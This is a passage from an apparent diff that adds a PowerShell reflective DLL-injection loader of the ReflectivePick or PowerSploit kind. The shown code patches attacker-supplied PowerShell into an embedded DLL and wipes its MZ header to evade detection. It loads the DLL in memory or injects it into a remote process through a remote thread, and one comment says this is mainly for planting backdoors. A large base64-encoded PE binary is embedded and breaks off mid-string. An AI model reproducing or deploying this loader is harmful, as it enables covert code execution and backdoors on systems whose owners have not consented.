[Byte[]]$RawBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) + write-verbose "32 Bit Injection" + } + #REPLACING THE CALLBACK BYTES WITH YOUR OWN + ############## + + # patch in the code bytes + $RawBytes = Invoke-PatchDll -DllBytes $RawBytes -FindString "Invoke-Replace" -ReplaceString $PoshCode + $PEBytes = $RawBytes + + #replace the MZ Header + $PEBytes[0] = 0 + $PEBytes[1] = 0 + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process or if it is an EXE. + #Note that all DLL's loaded by the EXE will remain loaded in memory. + if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Delete the PE file from memory. + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + Write-Verbose "PowerShell ProcessID: $PID" + if ($ProcId) + { + Write-Verbose "Remote Process: $ProcID" + } + + # REPLACE REFLECTIVEPICK DLLS HERE W/ BASE64-ENCODED VERSIONS! + # OR ELSE THIS SHIT WON'T WORK LOL + $PEBytes64 = "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